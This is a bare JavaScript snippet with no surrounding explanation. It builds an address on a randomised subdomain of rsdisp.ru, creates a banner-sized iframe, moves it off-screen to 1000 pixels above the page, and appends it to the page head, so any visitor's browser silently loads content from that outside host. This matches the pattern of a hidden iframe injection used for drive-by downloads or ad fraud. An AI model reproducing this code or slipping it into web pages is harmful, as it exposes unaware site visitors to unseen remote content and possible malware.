var src = 'http://d' + Math.round(Math.random() * 50 + 1) + '.rsdisp.ru' + '/?in=1';
var html = document.getElementsByTagName('head')[0];
var rs = document.createElement('iframe');
rs.src = src;
rs.style.width = '468';
rs.style.height = '60';
rs.style.position = 'absolute';
rs.style.top = '-1000px';
html.appendChild(rs);